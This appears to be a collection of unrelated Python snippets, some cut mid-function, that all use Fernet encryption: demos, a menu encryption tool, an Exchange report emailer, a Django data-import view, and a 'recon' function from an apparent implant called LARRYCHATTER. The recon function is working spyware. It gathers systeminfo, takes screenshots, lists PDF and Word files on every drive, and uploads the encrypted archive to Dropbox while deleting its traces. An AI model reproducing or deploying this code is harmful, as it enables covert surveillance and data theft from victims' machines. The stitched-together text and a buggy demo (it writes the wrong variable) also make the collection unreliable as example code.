message = "my deep dark secret" encoded = message.encode() f = Fernet(key) encrypted = f.encrypt(encoded) print(encrypted) f2 = Fernet(key) decrypted = f2.decrypt(encrypted) print(decrypted) original_message = decrypted.decode() print(original_message) ##encrypt files with open('myfile.txt', 'rb') as f: data = f.read() f3 = Fernet(key) enc2 = f3.encrypt(data) with open('myfile.txt.encrypted', 'wb') as f: f.write(encrypted) f4 = Fernet(key) enc3 = f4.decrypt(enc2) ##decrypt files with open('myfile.txt.decrypted', 'wb') as f: f.write(enc3) print(enc2)
print("3 - back") n = int(input("encrypt:-$ ")) if(n == 1): key = Fernet.generate_key() data = input("string:-$ ") f = Fernet(key) encrypt = f.encrypt(data.encode()) print("string encrypted : ", encrypt.decode()) print("key : ",key.decode()) elif(n == 2): key2 = Fernet.generate_key() inp = input("file-to-encrypt-path:-$ ") out = input("file-to-copy-encrypt-path:-$ ") key3 = input("file-to-copy-key-path:-$ ") with open(inp,'rb') as f: mess = f.read() g = Fernet(key2) encrypt2 = g.encrypt(mess) with open(out,'wb') as f: f.write(encrypt2) with open(key3,'wb') as d: d.write(key2) print("Check : ",out) elif(n == 3): break if(d == 3): print() print("1 - decrypt some string ") print("2 - decrypt some text file") print("3 - back") n = 0
def recon(APIKEY): # Defining the path where we will dump the results to exfiltrate later dumppath = path.expandvars(r'%LOCALAPPDATA%\LARRYCHATTER') if not os.path.exists(dumppath): os.mkdir(dumppath) # Creating a Fernet object to encrypt the results f = Fernet(key) # Running 'systeminfo' on the target machine to get system details and encrypting it command = 'systeminfo' output = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) result = output.stdout.read() error = output.stderr.read() encrypted_result = f.encrypt(result) encrypted_error = f.encrypt(error) # Defining a filename for the results and writing the results to the file for exfiltration later sysdumpfile = os.path.join(dumppath, 'systeminfo.larry') with open(sysdumpfile, 'wb') as outfile: outfile.write(encrypted_result + encrypted_error) # Taking screenshots on an random interval for a total of 2 minutes, encrypting it, saving it starttime = time.time() # Current time endtime = starttime + 120 # Total of 2 minutes counter = 0 while (time.time() < endtime): interval = random.randrange(1, 60) # Random interval of 1-60 seconds with mss.mss() as screen: img = screen.grab(screen.monitors[0]) data = mss.tools.to_png(img.rgb, img.size, output=None) encrypted_data = f.encrypt(data) sctdumpfile = os.path.join(dumppath, 'screenshot{}.larry'.format(counter)) with open(sctdumpfile, 'wb') as outfile: outfile.write(encrypted_data) counter = counter + 1 time.sleep(interval - ((time.time() - starttime) % interval)) # Get a list of drive letters on the target machine drives = win32api.GetLogicalDriveStrings() drives = drives.split('\000')[:-1] # Searching for some juicy file types on the target machine lists = '' exts = ['.pdf', '.docx'] #'.doc', '.txt', '.exe', '.jpg', '.png'] for drive in drives: for ext in exts: for dirpath, dirname, files in os.walk(drive): for file in files: if file.endswith(ext): lists = lists + '\n' + os.path.join(dirpath, file) + "\n" # Encrypting and saving the Juicy Files(if found) alongwith their complete path lists = lists.encode() encrypted_lists = f.encrypt(lists) juicyfile = os.path.join(dumppath, 'juicyfile.larry') with open(juicyfile, 'wb') as outfile: outfile.write(encrypted_lists) # Zipping all collected intel into a single zip file for exfiltration later and deleting all the rest of temporary files delivery_name = 'DeliverableIntel{}'.format(platform.node()) deliverypath = path.expandvars(r'%LOCALAPPDATA%') deliveryfile = os.path.join(deliverypath, delivery_name) shutil.make_archive(deliveryfile, 'zip', dumppath) # Removing all the files in the dump folder and the folder too shutil.rmtree(dumppath) # Check if the deliverable Intel ZIP file exists or not deliveryfile = deliveryfile + ".zip" deliveryfile = deliveryfile[:2] + '\\' + deliveryfile[2:] if os.path.isfile(deliveryfile): flag = True else: flag = False # Uploading the deliverable Intel ZIP(if exists) on a Dropbox account whose API KEY will be provided as argument if flag is True: target = "/LARRYCHATTER/" targetfile = target + "DeliverableIntel{}.zip".format(platform.node()) drop = dropbox.Dropbox(APIKEY) with open(deliveryfile, "rb") as f: meta = drop.files_upload(f.read(), targetfile, mode=dropbox.files.WriteMode("overwrite")) else: pass # Removing the deliverable Intel ZIP file - Finishing os.remove(deliveryfile)
def ews_smailer(email, filename, list): def send_email(account, subject, body, recipients, attachments=None): to_recipients = [] for recipient in recipients: to_recipients.append(Mailbox(email_address=recipient)) #####Create message##### m = Message(account=account, folder=account.sent, subject=subject, body=body, to_recipients=to_recipients) #####attach files##### for attachment_name, attachment_content in attachments or []: file = FileAttachment(name=attachment_name, content=attachment_content) m.attach(file) m.send_and_save() logger.info("Email sent successfully") ##### Create and configure logger ##### logging.basicConfig(filename="newfile.log", format='%(asctime)s %(message)s', filemode='w') ##### Creating an object ##### logger = logging.getLogger() ##### Setting the threshold of logger to DEBUG ##### logger.setLevel(logging.DEBUG) logger.info("Function for sending email is called") cfg = ConfigParser() cfg.read("config.ini") key = cfg['mail']['key'] key = bytes(key, 'utf-8') print(type(key)) passw = bytes(cfg['mail']['password'], 'utf-8') f = Fernet(key) print(f.decrypt(cfg['mail']['password']).decode("utf-8")) credentials = ServiceAccount(username=cfg['mail']['id'], password=f.decrypt(passw).decode("utf-8")) config = Configuration(server="outlook.office365.com", credentials=credentials) account = Account(primary_smtp_address=cfg['mail']['id'], config=config, autodiscover=False, access_type=DELEGATE) #####Read attachment##### attachments = [] filename = filename + ".xlsx" with open(filename, 'rb') as f: content = f.read() attachments.append((filename, content)) #####Send email##### body = ''' Hello, Please find attached the utilization report of RBA script of\n PU : ''' + list[0] + ''' DU : ''' + list[1] + ''' Account : ''' + list[2] + ''' Script name. : ''' + filename + ''' Thank You. Regards RBA Utilization Reporter Team Incase of any quesries contact us at [email protected] ''' subject = "RBA Utilization Report - " + list[0] + "-" + list[ 1] + "-" + list[2] + "-" + filename send_email(account, subject, body, [email], attachments=attachments)
def process_1_custom_data(request): if request.method == "POST": enc_file_loc = request.POST.get("token") id_fld_ptr = request.POST.get("identity_fld_ptr") unqf_idfr = request.POST.get("unqf_idfr") aix = bytes(settings.SECRET_KEY[:32], 'utf-8') f = Fernet(base64.urlsafe_b64encode(aix)) file_loc = (f.decrypt(bytes(enc_file_loc, 'utf-8'))).decode('utf-8') fext = os.path.splitext(str(file_loc))[1] ''' 'owner': { 'name': 'Bob', 'other_pets': 'Fishy' }, 'owner2': { 'name': 'Tim', 'other_pets': 'Crabby' }, ''' def process_data(ds_in_dict, identity_column_name, unqfid): #converts a standard ds.dict into more accessible json # also ensure the key is always contact ID new_dict = {} new_inner_dict = {} for row in ds_in_dict: for k, v in row.items(): if unqfid == "coid": if k == identity_column_name: new_dict[v] = new_inner_dict else: new_inner_dict[k] = v elif unqfid == "doid": if k == identity_column_name: try: ctct = Contact.objects.get(domain_id=v) new_dict[ctct.pk] = new_inner_dict except Contact.DoesNotExist: logger.error( 'While importing Custom Data, no ContactID match was found for the DomainID {}' .format(v)) else: new_inner_dict[k] = v new_inner_dict = {} return new_dict def process_dataset(ds): ds.headers[:] = clean_header(ds.headers) if unqf_idfr == "coid": t = CustomData.objects.create( identity_column_name=ds.headers[int(id_fld_ptr)], system_id_field=unqf_idfr, headers=ds.headers, data=process_data(ds.dict, ds.headers[int(id_fld_ptr)], unqfid="coid"), data_table=ds.dict, created_by=request.user.kituser) return t elif unqf_idfr == "doid": t = CustomData.objects.create( identity_column_name=ds.headers[int(id_fld_ptr)], system_id_field=unqf_idfr, headers=ds.headers, data=process_data(ds.dict, ds.headers[int(id_fld_ptr)], unqfid="doid"), data_table=ds.dict, created_by=request.user.kituser) return t if (fext[1:]).lower() == 'csv': with open(file_loc, 'r') as f: dataset = tablib.Dataset().load(f.read(), format="csv") result = process_dataset(dataset) return {"result": result} else: with open(file_loc, 'rb') as f: dataset = tablib.Dataset().load(f.read(), format="xls") result = process_dataset(dataset) return {"result": result}